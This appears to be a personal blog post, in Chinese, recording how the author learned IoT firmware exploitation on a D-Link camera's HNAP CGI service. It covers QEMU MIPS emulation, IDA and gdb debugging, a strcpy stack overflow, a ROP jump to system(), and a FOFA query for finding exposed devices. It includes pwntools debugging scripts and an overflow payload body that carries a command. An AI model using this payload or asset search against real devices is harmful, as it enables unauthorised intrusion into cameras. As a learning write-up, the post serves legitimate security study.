iot固件逆向学习

本文最后更新于 2026年8月8日 下午

iot固件逆向学习

路由器逆向

二进制安全 摄像头0day漏洞挖掘入门第一课_哔哩哔哩_bilibili

一二三课都看完了,但是自己再单独做的时候还是有很多需要回看的

  • 再次感叹ai的力量,除了找到溢出点后少量的纠正,自己就能提取到rop链条,其次,对于qemu异架构的使用以及调试,脚本内开启执行调试与断点与调用,网上没有直接的教程,视频里也没有对于脚本内设置断点调用的教程,ai能给出一个可行的调用方式。

  • 遥想之前没有gdb调试教程的时候,硬找十分难学,后来有人出了详细的每一步的开始以及调用教程,才基本掌握调试方法。但是没有人出详细教程的时候自行十分难学难找,现在的ai啊。

1. cgi的调试

  • fofa 资产搜集

    1
    app="D_Link-DCS-935L"&&after="2026-06-1"

固件解包后找到其web服务,一般来说,以d为后缀的总是为某个服务的服务端例如:httpd(httpweb服务)、telnetd(telnet服务)

cgi参数从环境变量中提取,可以用export设置环境变量并传参

解析执行cgi对应的web服务

1
python3 -m http.server --cgi

image-20260311173645355

用qemu来模拟其他架构的运行

image-20260311173835965


把对应文件复制过去,用chroot设置根路径为接报后的文件系统。把当前这个文件夹当作系统的根目录(/),然后去运行这个文件夹里面的 bin/sh 程序。

1
chroot . ./bin/sh        

image-20260311173927795


但是我这里虚拟机运行时无法正常切过去,得先指定(kali2022已经取消了qemu-mips-static中间版本)(现在叫做qemu-mips)

image-20260731170353026

可以直接指定去运行
image-20260731170527978

但是上述原因是因为没有开启binfmt,让内核知道mips架构通过qemu来翻译

image-20260731170632990

配置环境变量,以及把xml文件当作输入,执行hnap_service

1
2
3
4
5
6
export REQUEST_METHOD=POST
export SOAP_ACTION="http://purenetworks.com/HNAP1/GetDeviceSettings"
export CONTENT_LENGTH=311
export REMOTE_ADDR=192.168.0.2
/web/cgi-bin/hnap/hnap_service < /tmp/hnap_req.xml

ai以标准命名和对该运行文件的逆向分析生成该文件(博主是自行抓包了一份)

1
2
3
4
5
6
7
8
9
10
11
cat > /tmp/hnap_req.xml <<'EOF'
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"/>
</soap:Body>
</soap:Envelope>
EOF

qemu中开启等待调试的服务

image-20260311174132305

1
./qemu-mips /web/cgi-bin/hnap/hnap_service < /tmp/hnap_req.xml

可以用ida接入该调试

注意ida静态分析时,汇编模式下按x交叉引用要点函数名,只点旁边的地址的话不能正常显示
image-20260731173719282strcpy函数是常见的危险函数,将env的字符串赋值过去,env由getenv函数获取,获取的是用户可控的输入变量

image-20260731193137184 image-20260731193305460

将函数命名为dangers,交叉引用发现在main函数调用

image-20260731193652584

参数第一步,REQUEST_METHOD为POST

image-20260731193828582第二三步,SOAP_ACTION不能为空且不能由具体指向的值,CONTENT_LENGTH不能大于0x20000(这个决定读取多长)

image-20260731194123013

进入dangers函数后

这几个都不能为空,否则直接释放

image-20260731201433885

cookie可以随便填,hnap_auth是溢出点,用这个来覆盖跳转的地址,soap_action与后面的hash校验有关,校验失败直接转向退出该函数,看着可以随便填先。

最后执行效果

博主给的dlink需要chroot修改路径,找ai改了改,指定了对应的执行路径。

image-20260801153938702

待办:调试找到跳转点,调试看注入点,学习在脚本执行时进行qemu的mips架构的调试,学习ai的另一种方法的区别,调试查看字符串被划分时栈内存的移动情况,学习基础的mips架构下的指令。

手动开启调试

1
./qemu-mips -g 1234 web/cgi-bin/hnap/hnap_service

另一个窗口

1
2
gdb-multiarch web/cgi-bin/hnap/hnap_service
target remote :1234

get ida 小技巧,可以直接将伪代码与汇编对照

image-20260803151523469

常用的汇编:

lw:将右侧中存的值写到左侧

同理:sw左往右写

image-20260803152338185

关于寄存器

image-20260803153247564

(与函数运行相关,如果不恢复s0-s8,不会检测错误,只是会运行有误)

这里在清出一片0来

image-20260803154415614

经过脚本测试,SOAP_ACTION随便填也没影响。

2.qumu在py脚本内调用测试

寻找溢出点偏移时可以用这种填充来方便直接找到,省的自己算

1
2
3
4
from pwn import*
payload = cyclic(200)
p.send(payload)
offset = cyclic_find(0x61616167)

需要恢复gp的原因,system函数这里需要resolve来处理环境

image-20260803174558807

在脚本内附加调试的方法,qemu的启动为-g时会停留在start等待调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
DEBUG='--debug' in sys.argv or '-d' in sys.argv
PORT='1234'
rest=[a for a in sys.argv[1:] if a not in ('--debug','-d')]
if DEBUG and rest and rest[0].isdigit():
PORT=rest[0]; rest=rest[1:]

if DEBUG:
qemu_args=[QEMU,'-L',S,'-g',PORT,target] # 开 gdbstub, qemu 暂停等 gdb
else:
qemu_args=[QEMU,'-L',S,target]
p=process(qemu_args,env=env,stdin=PIPE,stdout=PIPE,stderr=STDOUT)

if DEBUG:
# 脚本内自动弹 gdb(pwndbg): 终端固定 GUI, 不做 DISPLAY/shutil 检测
p.send(body) # 先发 body(管道中, gdb continue 后程序才读)
log.info(f'调试模式: qemu gdbstub 端口 {PORT}, body 已发送; 正在自动弹 gdb 窗口(pwndbg)...')
context.terminal=['x-terminal-emulator','-e']
# 注意: attach 传 (host,port) 元组时 pwntools 自动注入 "target remote host:port",
# gdbscript 里不能再写 target remote(会断旧连重连超时)!
# set auto-solib-add off: qemu user mode 下共享库地址与本地 ELF 不匹配,
# 自动加载会 gdb internal-error 崩溃(不要 set sysroot!)
gdbscript="""
set pagination off
set auto-solib-add off
b *0x4033f0
"""
gdb.attach(('localhost',int(PORT)), gdbscript=gdbscript, exe=target)
log.info('gdb 窗口已弹出, 调试完成后在 gdb 里 quit 即可')
p.interactive()

ida模式:注意,调试完后ida点运行,不能直接点终止,否则会结束终端处的执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if IDA_MODE:
# IDA 模式: 只开 gdbstub, 不调用 gdb.attach(gdbstub 单连接, IDA 要独占!)
p.send(body) # 先发 body(管道中, IDA continue 后程序才读)
log.info(f'IDA 模式: qemu gdbstub 端口 {PORT}, body 已发送')
log.info(f'现在用 IDA 附加:')
log.info(f' 1. Debugger → Select debugger → Remote GDB debugger')
log.info(f' 2. Debugger → Process options → Hostname=127.0.0.1 Port={PORT}')
log.info(f' 3. Debugger → Attach to process → OK')
log.info(f' 4. F2 断 0x4033f0 → F9 运行 → 寄存器看 $s0/$t9, G 跳 0x43a830 看命令串')
log.info('调试完成后 回本终端按enter')
pause()
p.interactive()
sys.exit(0)

要卡到system执行时才能停止

image-20260803192656262

先进入有漏洞的初始位置的地方下断点

image-20260806184606908

补充一个写入的地方(仅此一次的输入处),读取了之前输入的长度,并从输入管道中提取。

image-20260806185035600

输入的命令从这里开始的

image-20260806185528779

以下是写入的内容(小tips:iml文件中只要符合这种格式就可以加入,ThisIsGoodThing其实是没有的,只是自行命名输入的,加入command这种字符串,方便定位输入的位置)

1
2
3
body=(b'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetDeviceSettings xmlns="http://192.168.0.1/HNAP1/"><Action>SetDeviceSettings</Action><DeviceName>1</DeviceName><ThisIsGoodThing>command:'
+ b':;'*30000 + cmd + b';echo 114514 #</ThisIsGoodThing></SetDeviceSettings></soap:Body></soap:Envelope>')

输入的内容会被生成为一个xml文件,后续以xml文件的形式读取(dangers函数是用ida自行重命名的函数)

image-20260806200239849

重点关注0x402030之后开始的strcpy

image-20260806200358474

这里的strtok根据“ ”0x20空格来截断提取,提取后改为0x00(字符串结尾),并赋值

image-20260806204304078

两次strtok,把之前的0x20截为了0x00,正好使其为正确的地址

image-20260806204445340

hashcode会检测不通过,直接返回

image-20260806204829737

image-20260806204833261

最后恢复了s0-s8寄存器(在栈的最后),最后的4个字节是跳转到的地址,jump_to前的那些字节对应的是s0-s8

image-20260806210506512image-20260806210534840

由于mip异架构,有延迟槽机制:分支或跳转调用下面的一条一定会执行,且先于跳转指令。这里实际传参在调用的下面,也就是会把s0寄存器传递到a0作为参数,这也是选择这个sysytem函数调用的原因,其他的system函数无法用s0直接调用,而s0-s8这一组寄存器是最容易进行修改的。

image-20260806211129424

启用调试后正常执行

image-20260808151209846

思考:system执行后的gp寄存器是调用的参数,如果不恢复会怎么样,调试看看

如果不恢复的话,发现无法找到正确的system地址

image-20260808153149759

也就是以下这段跳转,其实使用gp索引来对应到的system,如果不恢复的话,无法正常索引到system的调用地址。

image-20260808153224435

image-20260808153235334


iot固件逆向学习
https://xyyr-c.github.io/2026/03/11/iot固件逆向学习/
作者
xyyr
发布于
2026年3月11日
许可协议